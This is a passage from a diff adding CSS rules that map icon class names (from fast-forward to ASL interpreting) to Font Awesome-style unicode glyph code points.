+.icon-fast-forward:before { + content: "\f050"; +} +.icon-step-forward:before { + content: "\f051"; +} +.icon-eject:before { + content: "\f052"; +} +.icon-chevron-left:before { + content: "\f053"; +} +.icon-chevron-right:before { + content: "\f054"; +} +.icon-plus-circle:before { + content: "\f055"; +} +.icon-minus-circle:before { + content: "\f056"; +} +.icon-times-circle:before { + content: "\f057"; +} +.icon-check-circle:before { + content: "\f058"; +} +.icon-question-circle:before { + content: "\f059"; +} +.icon-info-circle:before { + content: "\f05a"; +} +.icon-crosshairs:before { + content: "\f05b"; +} +.icon-times-circle-o:before { + content: "\f05c"; +} +.icon-check-circle-o:before { + content: "\f05d"; +} +.icon-ban:before { + content: "\f05e"; +} +.icon-arrow-left:before { + content: "\f060"; +} +.icon-arrow-right:before { + content: "\f061"; +} +.icon-arrow-up:before { + content: "\f062"; +} +.icon-arrow-down:before { + content: "\f063"; +} +.icon-mail-forward:before { + content: "\f064"; +} +.icon-share:before { + content: "\f064"; +} +.icon-expand:before { + content: "\f065"; +} +.icon-compress:before { + content: "\f066"; +} +.icon-exclamation-circle:before { + content: "\f06a"; +} +.icon-gift:before { + content: "\f06b"; +} +.icon-leaf:before { + content: "\f06c"; +} +.icon-fire:before { + content: "\f06d"; +} +.icon-eye:before { + content: "\f06e"; +} +.icon-eye-slash:before { + content: "\f070"; +} +.icon-exclamation-triangle:before { + content: "\f071"; +} +.icon-warning:before { + content: "\f071"; +} +.icon-plane:before { + content: "\f072"; +} +.icon-calendar:before { + content: "\f073"; +} +.icon-random:before { + content: "\f074"; +} +.icon-comment:before { + content: "\f075"; +} +.icon-magnet:before { + content: "\f076"; +} +.icon-chevron-up:before { + content: "\f077"; +} +.icon-chevron-down:before { + content: "\f078"; +} +.icon-retweet:before { + content: "\f079"; +} +.icon-shopping-cart:before { + content: "\f07a"; +} +.icon-folder:before { + content: "\f07b"; +} +.icon-folder-open:before { + content: "\f07c"; +} +.icon-arrows-v:before { + content: "\f07d"; +} +.icon-arrows-h:before { + content: "\f07e"; +} +.icon-bar-chart:before { + content: "\f080"; +} +.icon-bar-chart-o:before { + content: "\f080"; +} +.icon-twitter-square:before { + content: "\f081"; +} +.icon-facebook-square:before { + content: "\f082"; +} +.icon-camera-retro:before { + content: "\f083"; +} +.icon-key:before { + content: "\f084"; +} +.icon-cogs:before { + content: "\f085"; +} +.icon-gears:before { + content: "\f085"; +} +.icon-comments:before { + content: "\f086"; +} +.icon-thumbs-o-up:before { + content: "\f087"; +} +.icon-thumbs-o-down:before { + content: "\f088"; +} +.icon-star-half:before { + content: "\f089"; +} +.icon-heart-o:before { + content: "\f08a"; +} +.icon-sign-out:before { + content: "\f08b"; +} +.icon-linkedin-square:before { + content: "\f08c"; +} +.icon-thumb-tack:before { + content: "\f08d"; +} +.icon-external-link:before { + content: "\f08e"; +} +.icon-sign-in:before { + content: "\f090"; +} +.icon-trophy:before { + content: "\f091"; +} +.icon-github-square:before { + content: "\f092"; +} +.icon-upload:before { + content: "\f093"; +} +.icon-lemon-o:before { + content: "\f094"; +} +.icon-phone:before { + content: "\f095"; +} +.icon-square-o:before { + content: "\f096"; +} +.icon-bookmark-o:before { + content: "\f097"; +} +.icon-phone-square:before { + content: "\f098"; +} +.icon-twitter:before { + content: "\f099"; +} +.icon-facebook:before { + content: "\f09a"; +} +.icon-facebook-f:before { + content: "\f09a"; +} +.icon-github:before { + content: "\f09b"; +} +.icon-unlock:before { + content: "\f09c"; +} +.icon-credit-card:before { + content: "\f09d"; +} +.icon-feed:before { + content: "\f09e"; +} +.icon-rss:before { + content: "\f09e"; +} +.icon-hdd-o:before { + content: "\f0a0"; +} +.icon-bullhorn:before { + content: "\f0a1"; +} +.icon-bell-o:before { + content: "\f0a2"; +} +.icon-certificate:before { + content: "\f0a3"; +} +.icon-hand-o-right:before { + content: "\f0a4"; +} +.icon-hand-o-left:before { + content: "\f0a5"; +} +.icon-hand-o-up:before { + content: "\f0a6"; +} +.icon-hand-o-down:before { + content: "\f0a7"; +} +.icon-arrow-circle-left:before { + content: "\f0a8"; +} +.icon-arrow-circle-right:before { + content: "\f0a9"; +} +.icon-arrow-circle-up:before { + content: "\f0aa"; +} +.icon-arrow-circle-down:before { + content: "\f0ab"; +} +.icon-globe:before { + content: "\f0ac"; +} +.icon-wrench:before { + content: "\f0ad"; +} +.icon-tasks:before { + content: "\f0ae"; +} +.icon-filter:before { + content: "\f0b0"; +} +.icon-briefcase:before { + content: "\f0b1"; +} +.icon-arrows-alt:before { + content: "\f0b2"; +} +.icon-group:before { + content: "\f0c0"; +} +.icon-users:before { + content: "\f0c0"; +} +.icon-chain:before { + content: "\f0c1"; +} +.icon-link:before { + content: "\f0c1"; +} +.icon-cloud:before { + content: "\f0c2"; +} +.icon-flask:before { + content: "\f0c3"; +} +.icon-cut:before { + content: "\f0c4"; +} +.icon-scissors:before { + content: "\f0c4"; +} +.icon-copy:before { + content: "\f0c5"; +} +.icon-files-o:before { + content: "\f0c5"; +} +.icon-paperclip:before { + content: "\f0c6"; +} +.icon-floppy-o:before { + content: "\f0c7"; +} +.icon-save:before { + content: "\f0c7"; +} +.icon-square:before { + content: "\f0c8"; +} +.icon-bars:before { + content: "\f0c9"; +} +.icon-navicon:before { + content: "\f0c9"; +} +.icon-reorder:before { + content: "\f0c9"; +} +.icon-list-ul:before { + content: "\f0ca"; +} +.icon-list-ol:before { + content: "\f0cb"; +} +.icon-strikethrough:before { + content: "\f0cc"; +} +.icon-underline:before { + content: "\f0cd"; +} +.icon-table:before { + content: "\f0ce"; +} +.icon-magic:before { + content: "\f0d0"; +} +.icon-truck:before { + content: "\f0d1"; +} +.icon-pinterest:before { + content: "\f0d2"; +} +.icon-pinterest-square:before { + content: "\f0d3"; +} +.icon-google-plus-square:before { + content: "\f0d4"; +} +.icon-google-plus:before { + content: "\f0d5"; +} +.icon-money:before { + content: "\f0d6"; +} +.icon-caret-down:before { + content: "\f0d7"; +} +.icon-caret-up:before { + content: "\f0d8"; +} +.icon-caret-left:before { + content: "\f0d9"; +} +.icon-caret-right:before { + content: "\f0da"; +} +.icon-columns:before { + content: "\f0db"; +} +.icon-sort:before { + content: "\f0dc"; +} +.icon-unsorted:before { + content: "\f0dc"; +} +.icon-sort-desc:before { + content: "\f0dd"; +} +.icon-sort-down:before { + content: "\f0dd"; +} +.icon-sort-asc:before { + content: "\f0de"; +} +.icon-sort-up:before { + content: "\f0de"; +} +.icon-envelope:before { + content: "\f0e0"; +} +.icon-linkedin:before { + content: "\f0e1"; +} +.icon-rotate-left:before { + content: "\f0e2"; +} +.icon-undo:before { + content: "\f0e2"; +} +.icon-gavel:before { + content: "\f0e3"; +} +.icon-legal:before { + content: "\f0e3"; +} +.icon-dashboard:before { + content: "\f0e4"; +} +.icon-tachometer:before { + content: "\f0e4"; +} +.icon-comment-o:before { + content: "\f0e5"; +} +.icon-comments-o:before { + content: "\f0e6"; +} +.icon-bolt:before { + content: "\f0e7"; +} +.icon-flash:before { + content: "\f0e7"; +} +.icon-sitemap:before { + content: "\f0e8"; +} +.icon-umbrella:before { + content: "\f0e9"; +} +.icon-clipboard:before { + content: "\f0ea"; +} +.icon-paste:before { + content: "\f0ea"; +} +.icon-lightbulb-o:before { + content: "\f0eb"; +} +.icon-exchange:before { + content: "\f0ec"; +} +.icon-cloud-download:before { + content: "\f0ed"; +} +.icon-cloud-upload:before { + content: "\f0ee"; +} +.icon-user-md:before { + content: "\f0f0"; +} +.icon-stethoscope:before { + content: "\f0f1"; +} +.icon-suitcase:before { + content: "\f0f2"; +} +.icon-bell:before { + content: "\f0f3"; +} +.icon-coffee:before { + content: "\f0f4"; +} +.icon-cutlery:before { + content: "\f0f5"; +} +.icon-file-text-o:before { + content: "\f0f6"; +} +.icon-building-o:before { + content: "\f0f7"; +} +.icon-hospital-o:before { + content: "\f0f8"; +} +.icon-ambulance:before { + content: "\f0f9"; +} +.icon-medkit:before { + content: "\f0fa"; +} +.icon-fighter-jet:before { + content: "\f0fb"; +} +.icon-beer:before { + content: "\f0fc"; +} +.icon-h-square:before { + content: "\f0fd"; +} +.icon-plus-square:before { + content: "\f0fe"; +} +.icon-angle-double-left:before { + content: "\f100"; +} +.icon-angle-double-right:before { + content: "\f101"; +} +.icon-angle-double-up:before { + content: "\f102"; +} +.icon-angle-double-down:before { + content: "\f103"; +} +.icon-angle-left:before { + content: "\f104"; +} +.icon-angle-right:before { + content: "\f105"; +} +.icon-angle-up:before { + content: "\f106"; +} +.icon-angle-down:before { + content: "\f107"; +} +.icon-desktop:before { + content: "\f108"; +} +.icon-laptop:before { + content: "\f109"; +} +.icon-tablet:before { + content: "\f10a"; +} +.icon-mobile:before { + content: "\f10b"; +} +.icon-mobile-phone:before { + content: "\f10b"; +} +.icon-circle-o:before { + content: "\f10c"; +} +.icon-quote-left:before { + content: "\f10d"; +} +.icon-quote-right:before { + content: "\f10e"; +} +.icon-spinner:before { + content: "\f110"; +} +.icon-circle:before { + content: "\f111"; +} +.icon-mail-reply:before { + content: "\f112"; +} +.icon-reply:before { + content: "\f112"; +} +.icon-github-alt:before { + content: "\f113"; +} +.icon-folder-o:before { + content: "\f114"; +} +.icon-folder-open-o:before { + content: "\f115"; +} +.icon-smile-o:before { + content: "\f118"; +} +.icon-frown-o:before { + content: "\f119"; +} +.icon-meh-o:before { + content: "\f11a"; +} +.icon-gamepad:before { + content: "\f11b"; +} +.icon-keyboard-o:before { + content: "\f11c"; +} +.icon-flag-o:before { + content: "\f11d"; +} +.icon-flag-checkered:before { + content: "\f11e"; +} +.icon-terminal:before { + content: "\f120"; +} +.icon-code:before { + content: "\f121"; +} +.icon-mail-reply-all:before { + content: "\f122"; +} +.icon-reply-all:before { + content: "\f122"; +} +.icon-star-half-empty:before { + content: "\f123"; +} +.icon-star-half-full:before { + content: "\f123"; +} +.icon-star-half-o:before { + content: "\f123"; +} +.icon-location-arrow:before { + content: "\f124"; +} +.icon-crop:before { + content: "\f125"; +} +.icon-code-fork:before { + content: "\f126"; +} +.icon-chain-broken:before { + content: "\f127"; +} +.icon-unlink:before { + content: "\f127"; +} +.icon-info:before { + content: "\f129"; +} +.icon-exclamation:before { + content: "\f12a"; +} +.icon-superscript:before { + content: "\f12b"; +} +.icon-subscript:before { + content: "\f12c"; +} +.icon-eraser:before { + content: "\f12d"; +} +.icon-puzzle-piece:before { + content: "\f12e"; +} +.icon-microphone:before { + content: "\f130"; +} +.icon-microphone-slash:before { + content: "\f131"; +} +.icon-shield:before { + content: "\f132"; +} +.icon-calendar-o:before { + content: "\f133"; +} +.icon-fire-extinguisher:before { + content: "\f134"; +} +.icon-rocket:before { + content: "\f135"; +} +.icon-maxcdn:before { + content: "\f136"; +} +.icon-chevron-circle-left:before { + content: "\f137"; +} +.icon-chevron-circle-right:before { + content: "\f138"; +} +.icon-chevron-circle-up:before { + content: "\f139"; +} +.icon-chevron-circle-down:before { + content: "\f13a"; +} +.icon-html5:before { + content: "\f13b"; +} +.icon-css3:before { + content: "\f13c"; +} +.icon-anchor:before { + content: "\f13d"; +} +.icon-unlock-alt:before { + content: "\f13e"; +} +.icon-bullseye:before { + content: "\f140"; +} +.icon-ellipsis-h:before { + content: "\f141"; +} +.icon-ellipsis-v:before { + content: "\f142"; +} +.icon-rss-square:before { + content: "\f143"; +} +.icon-play-circle:before { + content: "\f144"; +} +.icon-ticket:before { + content: "\f145"; +} +.icon-minus-square:before { + content: "\f146"; +} +.icon-minus-square-o:before { + content: "\f147"; +} +.icon-level-up:before { + content: "\f148"; +} +.icon-level-down:before { + content: "\f149"; +} +.icon-check-square:before { + content: "\f14a"; +} +.icon-pencil-square:before { + content: "\f14b"; +} +.icon-external-link-square:before { + content: "\f14c"; +} +.icon-share-square:before { + content: "\f14d"; +} +.icon-compass:before { + content: "\f14e"; +} +.icon-caret-square-o-down:before { + content: "\f150"; +} +.icon-toggle-down:before { + content: "\f150"; +} +.icon-caret-square-o-up:before { + content: "\f151"; +} +.icon-toggle-up:before { + content: "\f151"; +} +.icon-caret-square-o-right:before { + content: "\f152"; +} +.icon-toggle-right:before { + content: "\f152"; +} +.icon-eur:before { + content: "\f153"; +} +.icon-euro:before { + content: "\f153"; +} +.icon-gbp:before { + content: "\f154"; +} +.icon-dollar:before { + content: "\f155"; +} +.icon-usd:before { + content: "\f155"; +} +.icon-inr:before { + content: "\f156"; +} +.icon-rupee:before { + content: "\f156"; +} +.icon-cny:before { + content: "\f157"; +} +.icon-jpy:before { + content: "\f157"; +} +.icon-rmb:before { + content: "\f157"; +} +.icon-yen:before { + content: "\f157"; +} +.icon-rouble:before { + content: "\f158"; +} +.icon-rub:before { + content: "\f158"; +} +.icon-ruble:before { + content: "\f158"; +} +.icon-krw:before { + content: "\f159"; +} +.icon-won:before { + content: "\f159"; +} +.icon-bitcoin:before { + content: "\f15a"; +} +.icon-btc:before { + content: "\f15a"; +} +.icon-file:before { + content: "\f15b"; +} +.icon-file-text:before { + content: "\f15c"; +} +.icon-sort-alpha-asc:before { + content: "\f15d"; +} +.icon-sort-alpha-desc:before { + content: "\f15e"; +} +.icon-sort-amount-asc:before { + content: "\f160"; +} +.icon-sort-amount-desc:before { + content: "\f161"; +} +.icon-sort-numeric-asc:before { + content: "\f162"; +} +.icon-sort-numeric-desc:before { + content: "\f163"; +} +.icon-thumbs-up:before { + content: "\f164"; +} +.icon-thumbs-down:before { + content: "\f165"; +} +.icon-youtube-square:before { + content: "\f166"; +} +.icon-youtube:before { + content: "\f167"; +} +.icon-xing:before { + content: "\f168"; +} +.icon-xing-square:before { + content: "\f169"; +} +.icon-youtube-play:before { + content: "\f16a"; +} +.icon-dropbox:before { + content: "\f16b"; +} +.icon-stack-overflow:before { + content: "\f16c"; +} +.icon-instagram:before { + content: "\f16d"; +} +.icon-flickr:before { + content: "\f16e"; +} +.icon-adn:before { + content: "\f170"; +} +.icon-bitbucket:before { + content: "\f171"; +} +.icon-bitbucket-square:before { + content: "\f172"; +} +.icon-tumblr:before { + content: "\f173"; +} +.icon-tumblr-square:before { + content: "\f174"; +} +.icon-long-arrow-down:before { + content: "\f175"; +} +.icon-long-arrow-up:before { + content: "\f176"; +} +.icon-long-arrow-left:before { + content: "\f177"; +} +.icon-long-arrow-right:before { + content: "\f178"; +} +.icon-apple:before { + content: "\f179"; +} +.icon-windows:before { + content: "\f17a"; +} +.icon-android:before { + content: "\f17b"; +} +.icon-linux:before { + content: "\f17c"; +} +.icon-dribbble:before { + content: "\f17d"; +} +.icon-skype:before { + content: "\f17e"; +} +.icon-foursquare:before { + content: "\f180"; +} +.icon-trello:before { + content: "\f181"; +} +.icon-female:before { + content: "\f182"; +} +.icon-male:before { + content: "\f183"; +} +.icon-gittip:before { + content: "\f184"; +} +.icon-gratipay:before { + content: "\f184"; +} +.icon-sun-o:before { + content: "\f185"; +} +.icon-moon-o:before { + content: "\f186"; +} +.icon-archive:before { + content: "\f187"; +} +.icon-bug:before { + content: "\f188"; +} +.icon-vk:before { + content: "\f189"; +} +.icon-weibo:before { + content: "\f18a"; +} +.icon-renren:before { + content: "\f18b"; +} +.icon-pagelines:before { + content: "\f18c"; +} +.icon-stack-exchange:before { + content: "\f18d"; +} +.icon-arrow-circle-o-right:before { + content: "\f18e"; +} +.icon-arrow-circle-o-left:before { + content: "\f190"; +} +.icon-caret-square-o-left:before { + content: "\f191"; +} +.icon-toggle-left:before { + content: "\f191"; +} +.icon-dot-circle-o:before { + content: "\f192"; +} +.icon-wheelchair:before { + content: "\f193"; +} +.icon-vimeo-square:before { + content: "\f194"; +} +.icon-try:before { + content: "\f195"; +} +.icon-turkish-lira:before { + content: "\f195"; +} +.icon-plus-square-o:before { + content: "\f196"; +} +.icon-space-shuttle:before { + content: "\f197"; +} +.icon-slack:before { + content: "\f198"; +} +.icon-envelope-square:before { + content: "\f199"; +} +.icon-wordpress:before { + content: "\f19a"; +} +.icon-openid:before { + content: "\f19b"; +} +.icon-bank:before { + content: "\f19c"; +} +.icon-institution:before { + content: "\f19c"; +} +.icon-university:before { + content: "\f19c"; +} +.icon-graduation-cap:before { + content: "\f19d"; +} +.icon-mortar-board:before { + content: "\f19d"; +} +.icon-yahoo:before { + content: "\f19e"; +} +.icon-google:before { + content: "\f1a0"; +} +.icon-reddit:before { + content: "\f1a1"; +} +.icon-reddit-square:before { + content: "\f1a2"; +} +.icon-stumbleupon-circle:before { + content: "\f1a3"; +} +.icon-stumbleupon:before { + content: "\f1a4"; +} +.icon-delicious:before { + content: "\f1a5"; +} +.icon-digg:before { + content: "\f1a6"; +} +.icon-pied-piper-pp:before { + content: "\f1a7"; +} +.icon-pied-piper-alt:before { + content: "\f1a8"; +} +.icon-drupal:before { + content: "\f1a9"; +} +.icon-joomla:before { + content: "\f1aa"; +} +.icon-language:before { + content: "\f1ab"; +} +.icon-fax:before { + content: "\f1ac"; +} +.icon-building:before { + content: "\f1ad"; +} +.icon-child:before { + content: "\f1ae"; +} +.icon-paw:before { + content: "\f1b0"; +} +.icon-spoon:before { + content: "\f1b1"; +} +.icon-cube:before { + content: "\f1b2"; +} +.icon-cubes:before { + content: "\f1b3"; +} +.icon-behance:before { + content: "\f1b4"; +} +.icon-behance-square:before { + content: "\f1b5"; +} +.icon-steam:before { + content: "\f1b6"; +} +.icon-steam-square:before { + content: "\f1b7"; +} +.icon-recycle:before { + content: "\f1b8"; +} +.icon-automobile:before { + content: "\f1b9"; +} +.icon-car:before { + content: "\f1b9"; +} +.icon-cab:before { + content: "\f1ba"; +} +.icon-taxi:before { + content: "\f1ba"; +} +.icon-tree:before { + content: "\f1bb"; +} +.icon-spotify:before { + content: "\f1bc"; +} +.icon-deviantart:before { + content: "\f1bd"; +} +.icon-soundcloud:before { + content: "\f1be"; +} +.icon-database:before { + content: "\f1c0"; +} +.icon-file-pdf-o:before { + content: "\f1c1"; +} +.icon-file-word-o:before { + content: "\f1c2"; +} +.icon-file-excel-o:before { + content: "\f1c3"; +} +.icon-file-powerpoint-o:before { + content: "\f1c4"; +} +.icon-file-image-o:before { + content: "\f1c5"; +} +.icon-file-photo-o:before { + content: "\f1c5"; +} +.icon-file-picture-o:before { + content: "\f1c5"; +} +.icon-file-archive-o:before { + content: "\f1c6"; +} +.icon-file-zip-o:before { + content: "\f1c6"; +} +.icon-file-audio-o:before { + content: "\f1c7"; +} +.icon-file-sound-o:before { + content: "\f1c7"; +} +.icon-file-movie-o:before { + content: "\f1c8"; +} +.icon-file-video-o:before { + content: "\f1c8"; +} +.icon-file-code-o:before { + content: "\f1c9"; +} +.icon-vine:before { + content: "\f1ca"; +} +.icon-codepen:before { + content: "\f1cb"; +} +.icon-jsfiddle:before { + content: "\f1cc"; +} +.icon-life-bouy:before { + content: "\f1cd"; +} +.icon-life-buoy:before { + content: "\f1cd"; +} +.icon-life-ring:before { + content: "\f1cd"; +} +.icon-life-saver:before { + content: "\f1cd"; +} +.icon-support:before { + content: "\f1cd"; +} +.icon-circle-o-notch:before { + content: "\f1ce"; +} +.icon-ra:before { + content: "\f1d0"; +} +.icon-rebel:before { + content: "\f1d0"; +} +.icon-resistance:before { + content: "\f1d0"; +} +.icon-empire:before { + content: "\f1d1"; +} +.icon-ge:before { + content: "\f1d1"; +} +.icon-git-square:before { + content: "\f1d2"; +} +.icon-git:before { + content: "\f1d3"; +} +.icon-hacker-news:before { + content: "\f1d4"; +} +.icon-y-combinator-square:before { + content: "\f1d4"; +} +.icon-yc-square:before { + content: "\f1d4"; +} +.icon-tencent-weibo:before { + content: "\f1d5"; +} +.icon-qq:before { + content: "\f1d6"; +} +.icon-wechat:before { + content: "\f1d7"; +} +.icon-weixin:before { + content: "\f1d7"; +} +.icon-paper-plane:before { + content: "\f1d8"; +} +.icon-send:before { + content: "\f1d8"; +} +.icon-paper-plane-o:before { + content: "\f1d9"; +} +.icon-send-o:before { + content: "\f1d9"; +} +.icon-history:before { + content: "\f1da"; +} +.icon-circle-thin:before { + content: "\f1db"; +} +.icon-header:before { + content: "\f1dc"; +} +.icon-paragraph:before { + content: "\f1dd"; +} +.icon-sliders:before { + content: "\f1de"; +} +.icon-share-alt:before { + content: "\f1e0"; +} +.icon-share-alt-square:before { + content: "\f1e1"; +} +.icon-bomb:before { + content: "\f1e2"; +} +.icon-futbol-o:before { + content: "\f1e3"; +} +.icon-soccer-ball-o:before { + content: "\f1e3"; +} +.icon-tty:before { + content: "\f1e4"; +} +.icon-binoculars:before { + content: "\f1e5"; +} +.icon-plug:before { + content: "\f1e6"; +} +.icon-slideshare:before { + content: "\f1e7"; +} +.icon-twitch:before { + content: "\f1e8"; +} +.icon-yelp:before { + content: "\f1e9"; +} +.icon-newspaper-o:before { + content: "\f1ea"; +} +.icon-wifi:before { + content: "\f1eb"; +} +.icon-calculator:before { + content: "\f1ec"; +} +.icon-paypal:before { + content: "\f1ed"; +} +.icon-google-wallet:before { + content: "\f1ee"; +} +.icon-cc-visa:before { + content: "\f1f0"; +} +.icon-cc-mastercard:before { + content: "\f1f1"; +} +.icon-cc-discover:before { + content: "\f1f2"; +} +.icon-cc-amex:before { + content: "\f1f3"; +} +.icon-cc-paypal:before { + content: "\f1f4"; +} +.icon-cc-stripe:before { + content: "\f1f5"; +} +.icon-bell-slash:before { + content: "\f1f6"; +} +.icon-bell-slash-o:before { + content: "\f1f7"; +} +.icon-trash:before { + content: "\f1f8"; +} +.icon-copyright:before { + content: "\f1f9"; +} +.icon-at:before { + content: "\f1fa"; +} +.icon-eyedropper:before { + content: "\f1fb"; +} +.icon-paint-brush:before { + content: "\f1fc"; +} +.icon-birthday-cake:before { + content: "\f1fd"; +} +.icon-area-chart:before { + content: "\f1fe"; +} +.icon-pie-chart:before { + content: "\f200"; +} +.icon-line-chart:before { + content: "\f201"; +} +.icon-lastfm:before { + content: "\f202"; +} +.icon-lastfm-square:before { + content: "\f203"; +} +.icon-toggle-off:before { + content: "\f204"; +} +.icon-toggle-on:before { + content: "\f205"; +} +.icon-bicycle:before { + content: "\f206"; +} +.icon-bus:before { + content: "\f207"; +} +.icon-ioxhost:before { + content: "\f208"; +} +.icon-angellist:before { + content: "\f209"; +} +.icon-cc:before { + content: "\f20a"; +} +.icon-ils:before { + content: "\f20b"; +} +.icon-shekel:before { + content: "\f20b"; +} +.icon-sheqel:before { + content: "\f20b"; +} +.icon-meanpath:before { + content: "\f20c"; +} +.icon-buysellads:before { + content: "\f20d"; +} +.icon-connectdevelop:before { + content: "\f20e"; +} +.icon-dashcube:before { + content: "\f210"; +} +.icon-forumbee:before { + content: "\f211"; +} +.icon-leanpub:before { + content: "\f212"; +} +.icon-sellsy:before { + content: "\f213"; +} +.icon-shirtsinbulk:before { + content: "\f214"; +} +.icon-simplybuilt:before { + content: "\f215"; +} +.icon-skyatlas:before { + content: "\f216"; +} +.icon-cart-plus:before { + content: "\f217"; +} +.icon-cart-arrow-down:before { + content: "\f218"; +} +.icon-diamond:before { + content: "\f219"; +} +.icon-ship:before { + content: "\f21a"; +} +.icon-user-secret:before { + content: "\f21b"; +} +.icon-motorcycle:before { + content: "\f21c"; +} +.icon-street-view:before { + content: "\f21d"; +} +.icon-heartbeat:before { + content: "\f21e"; +} +.icon-venus:before { + content: "\f221"; +} +.icon-mars:before { + content: "\f222"; +} +.icon-mercury:before { + content: "\f223"; +} +.icon-intersex:before { + content: "\f224"; +} +.icon-transgender:before { + content: "\f224"; +} +.icon-transgender-alt:before { + content: "\f225"; +} +.icon-venus-double:before { + content: "\f226"; +} +.icon-mars-double:before { + content: "\f227"; +} +.icon-venus-mars:before { + content: "\f228"; +} +.icon-mars-stroke:before { + content: "\f229"; +} +.icon-mars-stroke-v:before { + content: "\f22a"; +} +.icon-mars-stroke-h:before { + content: "\f22b"; +} +.icon-neuter:before { + content: "\f22c"; +} +.icon-genderless:before { + content: "\f22d"; +} +.icon-facebook-official:before { + content: "\f230"; +} +.icon-pinterest-p:before { + content: "\f231"; +} +.icon-whatsapp:before { + content: "\f232"; +} +.icon-server:before { + content: "\f233"; +} +.icon-user-plus:before { + content: "\f234"; +} +.icon-user-times:before { + content: "\f235"; +} +.icon-bed:before { + content: "\f236"; +} +.icon-hotel:before { + content: "\f236"; +} +.icon-viacoin:before { + content: "\f237"; +} +.icon-train:before { + content: "\f238"; +} +.icon-subway:before { + content: "\f239"; +} +.icon-medium:before { + content: "\f23a"; +} +.icon-y-combinator:before { + content: "\f23b"; +} +.icon-yc:before { + content: "\f23b"; +} +.icon-optin-monster:before { + content: "\f23c"; +} +.icon-opencart:before { + content: "\f23d"; +} +.icon-expeditedssl:before { + content: "\f23e"; +} +.icon-battery:before { + content: "\f240"; +} +.icon-battery-4:before { + content: "\f240"; +} +.icon-battery-full:before { + content: "\f240"; +} +.icon-battery-3:before { + content: "\f241"; +} +.icon-battery-three-quarters:before { + content: "\f241"; +} +.icon-battery-2:before { + content: "\f242"; +} +.icon-battery-half:before { + content: "\f242"; +} +.icon-battery-1:before { + content: "\f243"; +} +.icon-battery-quarter:before { + content: "\f243"; +} +.icon-battery-0:before { + content: "\f244"; +} +.icon-battery-empty:before { + content: "\f244"; +} +.icon-mouse-pointer:before { + content: "\f245"; +} +.icon-i-cursor:before { + content: "\f246"; +} +.icon-object-group:before { + content: "\f247"; +} +.icon-object-ungroup:before { + content: "\f248"; +} +.icon-sticky-note:before { + content: "\f249"; +} +.icon-sticky-note-o:before { + content: "\f24a"; +} +.icon-cc-jcb:before { + content: "\f24b"; +} +.icon-cc-diners-club:before { + content: "\f24c"; +} +.icon-clone:before { + content: "\f24d"; +} +.icon-balance-scale:before { + content: "\f24e"; +} +.icon-hourglass-o:before { + content: "\f250"; +} +.icon-hourglass-1:before { + content: "\f251"; +} +.icon-hourglass-start:before { + content: "\f251"; +} +.icon-hourglass-2:before { + content: "\f252"; +} +.icon-hourglass-half:before { + content: "\f252"; +} +.icon-hourglass-3:before { + content: "\f253"; +} +.icon-hourglass-end:before { + content: "\f253"; +} +.icon-hourglass:before { + content: "\f254"; +} +.icon-hand-grab-o:before { + content: "\f255"; +} +.icon-hand-rock-o:before { + content: "\f255"; +} +.icon-hand-paper-o:before { + content: "\f256"; +} +.icon-hand-stop-o:before { + content: "\f256"; +} +.icon-hand-scissors-o:before { + content: "\f257"; +} +.icon-hand-lizard-o:before { + content: "\f258"; +} +.icon-hand-spock-o:before { + content: "\f259"; +} +.icon-hand-pointer-o:before { + content: "\f25a"; +} +.icon-hand-peace-o:before { + content: "\f25b"; +} +.icon-trademark:before { + content: "\f25c"; +} +.icon-registered:before { + content: "\f25d"; +} +.icon-creative-commons:before { + content: "\f25e"; +} +.icon-gg:before { + content: "\f260"; +} +.icon-gg-circle:before { + content: "\f261"; +} +.icon-tripadvisor:before { + content: "\f262"; +} +.icon-odnoklassniki:before { + content: "\f263"; +} +.icon-odnoklassniki-square:before { + content: "\f264"; +} +.icon-get-pocket:before { + content: "\f265"; +} +.icon-wikipedia-w:before { + content: "\f266"; +} +.icon-safari:before { + content: "\f267"; +} +.icon-chrome:before { + content: "\f268"; +} +.icon-firefox:before { + content: "\f269"; +} +.icon-opera:before { + content: "\f26a"; +} +.icon-internet-explorer:before { + content: "\f26b"; +} +.icon-television:before { + content: "\f26c"; +} +.icon-tv:before { + content: "\f26c"; +} +.icon-contao:before { + content: "\f26d"; +} +.icon-500px:before { + content: "\f26e"; +} +.icon-amazon:before { + content: "\f270"; +} +.icon-calendar-plus-o:before { + content: "\f271"; +} +.icon-calendar-minus-o:before { + content: "\f272"; +} +.icon-calendar-times-o:before { + content: "\f273"; +} +.icon-calendar-check-o:before { + content: "\f274"; +} +.icon-industry:before { + content: "\f275"; +} +.icon-map-pin:before { + content: "\f276"; +} +.icon-map-signs:before { + content: "\f277"; +} +.icon-map-o:before { + content: "\f278"; +} +.icon-map:before { + content: "\f279"; +} +.icon-commenting:before { + content: "\f27a"; +} +.icon-commenting-o:before { + content: "\f27b"; +} +.icon-houzz:before { + content: "\f27c"; +} +.icon-vimeo:before { + content: "\f27d"; +} +.icon-black-tie:before { + content: "\f27e"; +} +.icon-fonticons:before { + content: "\f280"; +} +.icon-reddit-alien:before { + content: "\f281"; +} +.icon-edge:before { + content: "\f282"; +} +.icon-credit-card-alt:before { + content: "\f283"; +} +.icon-codiepie:before { + content: "\f284"; +} +.icon-modx:before { + content: "\f285"; +} +.icon-fort-awesome:before { + content: "\f286"; +} +.icon-usb:before { + content: "\f287"; +} +.icon-product-hunt:before { + content: "\f288"; +} +.icon-mixcloud:before { + content: "\f289"; +} +.icon-scribd:before { + content: "\f28a"; +} +.icon-pause-circle:before { + content: "\f28b"; +} +.icon-pause-circle-o:before { + content: "\f28c"; +} +.icon-stop-circle:before { + content: "\f28d"; +} +.icon-stop-circle-o:before { + content: "\f28e"; +} +.icon-shopping-bag:before { + content: "\f290"; +} +.icon-shopping-basket:before { + content: "\f291"; +} +.icon-hashtag:before { + content: "\f292"; +} +.icon-bluetooth:before { + content: "\f293"; +} +.icon-bluetooth-b:before { + content: "\f294"; +} +.icon-percent:before { + content: "\f295"; +} +.icon-gitlab:before { + content: "\f296"; +} +.icon-wpbeginner:before { + content: "\f297"; +} +.icon-wpforms:before { + content: "\f298"; +} +.icon-envira:before { + content: "\f299"; +} +.icon-universal-access:before { + content: "\f29a"; +} +.icon-wheelchair-alt:before { + content: "\f29b"; +} +.icon-question-circle-o:before { + content: "\f29c"; +} +.icon-blind:before { + content: "\f29d"; +} +.icon-audio-description:before { + content: "\f29e"; +} +.icon-volume-control-phone:before { + content: "\f2a0"; +} +.icon-braille:before { + content: "\f2a1"; +} +.icon-assistive-listening-systems:before { + content: "\f2a2"; +} +.icon-american-sign-language-interpreting:before { + content: "\f2a3"; +} +.icon-asl-interpreting:before { + content: "\f2a3"; +} 